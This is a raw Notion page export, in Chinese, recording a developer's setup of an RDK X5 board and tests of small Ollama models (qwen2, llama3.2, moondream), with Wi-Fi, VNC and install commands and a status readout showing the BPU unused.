edia_image_preview_url":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b2a0f32b-997b-419a-a0b8-8535f6ccf2a5/SocialMediaPreviewImage.png"},"created_time":1733470638086,"last_edited_time":1733477120578,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","file_ids":["011ad67a-108f-4347-8495-b3fca85889d5","b2a0f32b-997b-419a-a0b8-8535f6ccf2a5"],"created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"154f5010-17f2-81d7-b8a6-d1ec508228b7":{"value":{"id":"154f5010-17f2-81d7-b8a6-d1ec508228b7","type":"text","format":{"copied_from_pointer":{"id":"f9121aa2-51c9-487a-83de-4601d5048f24","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868560,"last_edited_time":1733470868560,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"f9121aa2-51c9-487a-83de-4601d5048f24"}},"154f5010-17f2-8113-bf34-e712ed6b2097":{"value":{"id":"154f5010-17f2-8113-bf34-e712ed6b2097","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868560,"last_edited_time":1733470868560,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"154f5010-17f2-817b-8476-fe64ebfe8256":{"value":{"id":"154f5010-17f2-817b-8476-fe64ebfe8256","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868559,"last_edited_time":1733470868559,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"154f5010-17f2-81cb-97e2-d37ef97bef34":{"value":{"id":"154f5010-17f2-81cb-97e2-d37ef97bef34","type":"callout","properties":{"title":[["上次逛ollama的时候发现有很多小参数的大模型,比如qwen2:0.5b,llama3.2:1b,甚至还有一个1.8b的多模态模型moondream,找公司1拿到一块RDK X5的开发板,官网查看算力可达10TOPS,不懂这个算力是啥级别,也没做过iot平台的开发,但看系统是ubuntu,那问题不大,直接装ollama来跑,调研下个版本的智能硬件。"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868559,"last_edited_time":1733475122192,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"154f5010-17f2-8101-a443-d1c4a4e9f6f9":{"value":{"id":"154f5010-17f2-8101-a443-d1c4a4e9f6f9","type":"header","properties":{"title":[["硬件烧录"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868559,"last_edited_time":1733474892599,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"154f5010-17f2-80af-8e27-e679459a0b63":{"value":{"id":"154f5010-17f2-80af-8e27-e679459a0b63","type":"bookmark","properties":{"link":[["https://developer.d-robotics.cc/rdk_doc/Quick_start/install_os/rdk_x5"]],"title":[["RDK DOC"]]},"format":{"bookmark_icon":"https://developer.d-robotics.cc/rdk_doc/img/logo.png"},"created_time":1733474943735,"last_edited_time":1733474943740,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8080-8364-e518a762df40":{"value":{"id":"154f5010-17f2-8080-8364-e518a762df40","type":"bulleted_list","properties":{"title":[["准备至少8GB容量的Micro SD卡"]]},"created_time":1733474986599,"last_edited_time":1733474986604,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8035-9c6c-e0508c7c2a70":{"value":{"id":"154f5010-17f2-8035-9c6c-e0508c7c2a70","type":"bulleted_list","properties":{"title":[["SD 读卡器"]]},"created_time":1733474986600,"last_edited_time":1733474986604,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-80e8-91af-d24fba78109f":{"value":{"id":"154f5010-17f2-80e8-91af-d24fba78109f","type":"bulleted_list","properties":{"title":[["下载镜像烧录工具balenaEtcher,"],["https://etcher.balena.io/#download-etcher",[["c"]]]]},"created_time":1733474986600,"last_edited_time":1733475008219,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8091-9521-e430ba8524d2":{"value":{"id":"154f5010-17f2-8091-9521-e430ba8524d2","type":"bulleted_list","properties":{"title":[["下载镜像:"],["https://archive.d-robotics.cc/downloads/os_images/rdk_x5/",[["a","https://archive.d-robotics.cc/downloads/os_images/rdk_x5/"]]]]},"content":["154f5010-17f2-80f8-aa4d-f96866ec28f3","154f5010-17f2-8077-961c-d843618ca6e3","154f5010-17f2-8076-9ff9-d3fbd6d60ecd","154f5010-17f2-8081-ac77-e4cbe13cd5b1"],"created_time":1733474996974,"last_edited_time":1733475164184,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-80f6-8100-e5513203a153":{"value":{"id":"154f5010-17f2-80f6-8100-e5513203a153","type":"bulleted_list","properties":{"title":[["烧录进sd卡"]]},"created_time":1733475155502,"last_edited_time":1733475186705,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-802d-9adb-f2ca1eaf58d5":{"value":{"id":"154f5010-17f2-802d-9adb-f2ca1eaf58d5","type":"bulleted_list","properties":{"title":[["然后ttl链接电脑,使用终端工具进入命令行,或者你直接使用hdmi连上键盘鼠标才做ui"]]},"created_time":1733475187403,"last_edited_time":1733475242240,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8149-a7db-c3110729f8ab":{"value":{"id":"154f5010-17f2-8149-a7db-c3110729f8ab","type":"header","properties":{"title":[["进入系统"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868559,"last_edited_time":1733475265939,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"154f5010-17f2-80b8-b31f-ca5f116e2304":{"value":{"id":"154f5010-17f2-80b8-b31f-ca5f116e2304","type":"sub_header","properties":{"title":[["设置wifi"]]},"created_time":1733475407676,"last_edited_time":1733475412586,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8037-9542-cfacf3283b7a":{"value":{"id":"154f5010-17f2-8037-9542-cfacf3283b7a","type":"code","properties":{"title":[["#链接wifi(可以设置多个)\nsudo wifi_connect \"wifiname\" 'psw'\n\n#看看ip地址\n#这个ip地址要记住,等下ssh链接就可以不使用ttl了\n#vnc也需要这个ip地址\nifconfig\n\n#默认登陆账号密码都是root"]],"language":[["Bash"]]},"created_time":1733475267809,"last_edited_time":1733475576598,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-801c-a915-df7d512f9c85":{"value":{"id":"154f5010-17f2-801c-a915-df7d512f9c85","type":"sub_header","properties":{"title":[["设置vnc\n"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733475312100,"last_edited_time":1733475767994,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-80ce-bee9-d9ef2cca91d7":{"value":{"id":"154f5010-17f2-80ce-bee9-d9ef2cca91d7","type":"bookmark","properties":{"link":[["https://developer.d-robotics.cc/rdk_doc/Quick_start/configuration_wizard?_highlight=vnc#%E5%BC%80%E5%90%AFvnc%E6%9C%8D%E5%8A%A1"]],"title":[["RDK DOC"]]},"format":{"bookmark_icon":"https://developer.d-robotics.cc/rdk_doc/img/logo.png"},"created_time":1733475462570,"last_edited_time":1733475462575,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8049-9c85-e67ace1a69e8":{"value":{"id":"154f5010-17f2-8049-9c85-e67ace1a69e8","type":"image","properties":{"size":[["77.0KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b7935fe6-f088-467c-af72-cd1c20a1685d/image.png"]]},"format":{"block_width":311,"block_height":375,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b7935fe6-f088-467c-af72-cd1c20a1685d/image.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":1.2057877813504823,"block_preserve_scale":true},"created_time":1733475478807,"last_edited_time":1733475484198,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"file_ids":["b7935fe6-f088-467c-af72-cd1c20a1685d"]}},"154f5010-17f2-804f-a6ff-fb6cdd30ee03":{"value":{"id":"154f5010-17f2-804f-a6ff-fb6cdd30ee03","type":"image","properties":{"size":[["50.7KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9ba48b32-c414-490a-baf6-7e23b96c7c0a/image.png"]]},"format":{"block_width":707.9921875,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9ba48b32-c414-490a-baf6-7e23b96c7c0a/image.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6248366013071895,"block_preserve_scale":true},"created_time":1733475483180,"last_edited_time":1733475489035,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"file_ids":["9ba48b32-c414-490a-baf6-7e23b96c7c0a"]}},"154f5010-17f2-80de-9129-de67864696dc":{"value":{"id":"154f5010-17f2-80de-9129-de67864696dc","type":"text","format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733475527149,"last_edited_time":1733475527151,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-805c-86fd-e6b9b26c3649":{"value":{"id":"154f5010-17f2-805c-86fd-e6b9b26c3649","type":"text","properties":{"title":[["macos可以使用《屏幕共享》直接链接"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733475312353,"last_edited_time":1733475587528,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-80bc-af6e-fe918cbe17be":{"value":{"id":"154f5010-17f2-80bc-af6e-fe918cbe17be","type":"image","properties":{"size":[["162.8KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b965fbf1-eab5-440a-bf5c-88f1b843b10f/image.png"]]},"format":{"block_width":707.9921875,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b965fbf1-eab5-440a-bf5c-88f1b843b10f/image.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6733812949640288,"block_preserve_scale":true},"created_time":1733475617969,"last_edited_time":1733475622753,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"file_ids":["b965fbf1-eab5-440a-bf5c-88f1b843b10f"]}},"154f5010-17f2-8046-abaa-ea286120b26b":{"value":{"id":"154f5010-17f2-8046-abaa-ea286120b26b","type":"image","properties":{"size":[["198.4KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/73bb7a3e-78cb-49ef-9be9-241f14bf7a23/image.png"]]},"format":{"block_width":707.984375,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/73bb7a3e-78cb-49ef-9be9-241f14bf7a23/image.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7060931899641577,"block_preserve_scale":true},"created_time":1733475663809,"last_edited_time":1733475668384,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"file_ids":["73bb7a3e-78cb-49ef-9be9-241f14bf7a23"]}},"154f5010-17f2-8038-ac96-c140e53cc7d0":{"value":{"id":"154f5010-17f2-8038-ac96-c140e53cc7d0","type":"header","properties":{"title":[["测试ollama"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733475670143,"last_edited_time":1733475696906,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8027-bbc8-f0b2a69b5e57":{"value":{"id":"154f5010-17f2-8027-bbc8-f0b2a69b5e57","type":"sub_header","properties":{"title":[["安装"]]},"created_time":1733475747918,"last_edited_time":1733475753691,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-80f8-aa4d-f96866ec28f3":{"value":{"id":"154f5010-17f2-80f8-aa4d-f96866ec28f3","type":"bulleted_list","properties":{"title":[["desktop为有界面的"]]},"created_time":1733475055240,"last_edited_time":1733475085473,"parent_id":"154f5010-17f2-8091-9521-e430ba8524d2","parent_table":"block","alive":true}},"154f5010-17f2-8077-961c-d843618ca6e3":{"value":{"id":"154f5010-17f2-8077-961c-d843618ca6e3","type":"bulleted_list","properties":{"title":[["server为无界面的,资源占用率低"]]},"created_time":1733475066425,"last_edited_time":1733475078811,"parent_id":"154f5010-17f2-8091-9521-e430ba8524d2","parent_table":"block","alive":true}},"154f5010-17f2-8076-9ff9-d3fbd6d60ecd":{"value":{"id":"154f5010-17f2-8076-9ff9-d3fbd6d60ecd","type":"bulleted_list","properties":{"title":[["我下载的是desktop,看看界面啥样"]]},"created_time":1733475087056,"last_edited_time":1733475117588,"parent_id":"154f5010-17f2-8091-9521-e430ba8524d2","parent_table":"block","alive":true}},"154f5010-17f2-8081-ac77-e4cbe13cd5b1":{"value":{"id":"154f5010-17f2-8081-ac77-e4cbe13cd5b1","type":"bulleted_list","properties":{"title":[["现在下来的是压缩包,需要解压"]]},"created_time":1733475164182,"last_edited_time":1733475177188,"parent_id":"154f5010-17f2-8091-9521-e430ba8524d2","parent_table":"block","alive":true}},"154f5010-17f2-802e-a450-f4dbdb636dbe":{"value":{"id":"154f5010-17f2-802e-a450-f4dbdb636dbe","type":"code","properties":{"title":[["\n#更新ca证书\nsudo apt-get update\n\n#安装ollama\ncurl -fsSL https://ollama.com/install.sh | sh\n\n#把三个镜像都搞下来\nollama run moondream:latest\nollama run llama3.2:1b\nollama run qwen2:0.5b"]],"language":[["Bash"]]},"created_time":1733475682567,"last_edited_time":1733475746607,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8014-9161-d508012fead1":{"value":{"id":"154f5010-17f2-8014-9161-d508012fead1","type":"sub_header","properties":{"title":[["测试结果"]]},"created_time":1733475680794,"last_edited_time":1733475795346,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-804c-a15f-d4e171174a49":{"value":{"id":"154f5010-17f2-804c-a15f-d4e171174a49","type":"text","properties":{"title":[["qwen2:0.5b"]]},"created_time":1733475883131,"last_edited_time":1733475884962,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-80b1-96b3-f2bd751e1c43":{"value":{"id":"154f5010-17f2-80b1-96b3-f2bd751e1c43","type":"image","properties":{"size":[["185.1KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/fa0bdaa6-a917-448c-ae91-245a57fbe047/image.png"]]},"format":{"block_width":707.9921875,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/fa0bdaa6-a917-448c-ae91-245a57fbe047/image.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.550682261208577,"block_preserve_scale":true},"created_time":1733475912555,"last_edited_time":1733475920177,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"file_ids":["fa0bdaa6-a917-448c-ae91-245a57fbe047"]}},"154f5010-17f2-8032-b83b-f3e8a9e78726":{"value":{"id":"154f5010-17f2-8032-b83b-f3e8a9e78726","type":"text","properties":{"title":[["llama3.2:1b"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733475887238,"last_edited_time":1733475891540,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8088-8198-ea08d66d7239":{"value":{"id":"154f5010-17f2-8088-8198-ea08d66d7239","type":"image","properties":{"size":[["225.6KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3e3bfb14-7412-435c-a242-c5a80068eeed/image.png"]]},"format":{"block_width":707.984375,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3e3bfb14-7412-435c-a242-c5a80068eeed/image.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6623376623376623,"block_preserve_scale":true},"created_time":1733476137798,"last_edited_time":1733476145517,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"file_ids":["3e3bfb14-7412-435c-a242-c5a80068eeed"]}},"154f5010-17f2-8098-9dfb-dca03ae90a7a":{"value":{"id":"154f5010-17f2-8098-9dfb-dca03ae90a7a","type":"text","properties":{"title":[["moondream:latest"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733475887354,"last_edited_time":1733476195600,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-803e-ad7d-d6b6fa086e39":{"value":{"id":"154f5010-17f2-803e-ad7d-d6b6fa086e39","type":"image","properties":{"size":[["6.4KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/dcfcd2ff-9ed6-4c80-9332-8eb993917b5f/image.png"]]},"format":{"block_width":386,"block_height":71,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/dcfcd2ff-9ed6-4c80-9332-8eb993917b5f/image.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.18393782383419688,"block_preserve_scale":true},"created_time":1733476635276,"last_edited_time":1733476639643,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"file_ids":["dcfcd2ff-9ed6-4c80-9332-8eb993917b5f"]}},"154f5010-17f2-80c6-afa7-fb8847a83eb3":{"value":{"id":"154f5010-17f2-80c6-afa7-fb8847a83eb3","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733476638641,"last_edited_time":1733476638643,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8082-9694-fc14ea7a5cff":{"value":{"id":"154f5010-17f2-8082-9694-fc14ea7a5cff","type":"text","properties":{"title":[["图片识别一直在转圈圈,运行不了,应该是现在没有使用BPU加速的原因,我也看不懂,应该ratio是0就是没走BPU吧"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733476638756,"last_edited_time":1733476953485,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-802f-bdb4-ef1db89f66fe":{"value":{"id":"154f5010-17f2-802f-bdb4-ef1db89f66fe","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733476873250,"last_edited_time":1733476873252,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-809d-8d68-d2d378b6bacb":{"value":{"id":"154f5010-17f2-809d-8d68-d2d378b6bacb","type":"code","properties":{"title":[["watch -n 0.1 hrut_somstatus\n\nroot@ubuntu:~# hrut_somstatus\n=====================1=====================\ntemperature-->\n DDR : 55.2 (C)\n BPU : 54.3 (C)\n CPU : 54.3 (C)\ncpu frequency-->\n-e min(M) cur(M) max(M)\n-e cpu0: 300 1200 1500\n-e cpu1: 300 1200 1500\n-e cpu2: 300 1200 1500\n-e cpu3: 300 1500 1500\n-e cpu4: 300 1200 1500\n-e cpu5: 300 1500 1500\n-e cpu6: 300 1500 1500\n-e cpu7: 300 1200 1500\nbpu status information---->\n-e min(M) cur(M) max(M) ratio\n-e bpu0: 500 1000 1000 0\nddr frequency information---->\n-e min(M) cur(M) max(M)\n-e ddr: 266 4266 4266\nGPU gc8000 frequency information---->\n-e min(M) cur(M) max(M)\n-e gc8000: 200 1000 1000"]],"language":[["Bash"]]},"created_time":1733476877397,"last_edited_time":1733476924873,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-8161-8d22-e0b367832833":{"value":{"id":"154f5010-17f2-8161-8d22-e0b367832833","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868559,"last_edited_time":1733475675053,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"154f5010-17f2-814e-86d7-e07a208d0a5c":{"value":{"id":"154f5010-17f2-814e-86d7-e07a208d0a5c","type":"bulleted_list","properties":{"title":[["没啥难度"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868559,"last_edited_time":1733476986379,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"154f5010-17f2-80a0-9a27-fb647ce77b0a":{"value":{"id":"154f5010-17f2-80a0-9a27-fb647ce77b0a","type":"bulleted_list","properties":{"title":[["BPU到底是啥,算力到底是啥,不清楚这些定义"]]},"created_time":1733476986763,"last_edited_time":1733477023413,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-80c6-a5d3-fa2a591c3798":{"value":{"id":"154f5010-17f2-80c6-a5d3-fa2a591c3798","type":"bulleted_list","properties":{"title":[["在linux服务器上部署大模型的时候可以直接调用to_cuda,直接在gpu加载模型,看了下文档,BPU好像更麻烦一点"]]},"created_time":1733477023616,"last_edited_time":1733477083217,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true}},"154f5010-17f2-81dd-b3f6-dbff7965c44e":{"value":{"id":"154f5010-17f2-81dd-b3f6-dbff7965c44e","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868559,"last_edited_time":1733470868559,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"154f5010-17f2-8104-899f-fa5e60b7413b":{"value":{"id":"154f5010-17f2-8104-899f-fa5e60b7413b","type":"column_list","content":["154f5010-17f2-8165-9399-dbd93a29b542","154f5010-17f2-8132-a836-f5a0cf2b832d","154f5010-17f2-8169-903f-e57b1de55ef1"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868559,"last_edited_time":1733470868559,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"154f5010-17f2-81b4-b825-ed13e1e77ab6":{"value":{"id":"154f5010-17f2-81b4-b825-ed13e1e77ab6","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868560,"last_edited_time":1733476884900,"parent_id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"154f5010-17f2-8165-9399-dbd93a29b542":{"value":{"id":"154f5010-17f2-8165-9399-dbd93a29b542","type":"column","content":["154f5010-17f2-8118-97e1-d3408a134c33"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868560,"last_edited_time":1733470868560,"parent_id":"154f5010-17f2-8104-899f-fa5e60b7413b","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"154f5010-17f2-8132-a836-f5a0cf2b832d":{"value":{"id":"154f5010-17f2-8132-a836-f5a0cf2b832d","type":"column","content":["154f5010-17f2-810a-956a-dcf89c0d569e","154f5010-17f2-813e-a14e-d7f3b37562ce"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"e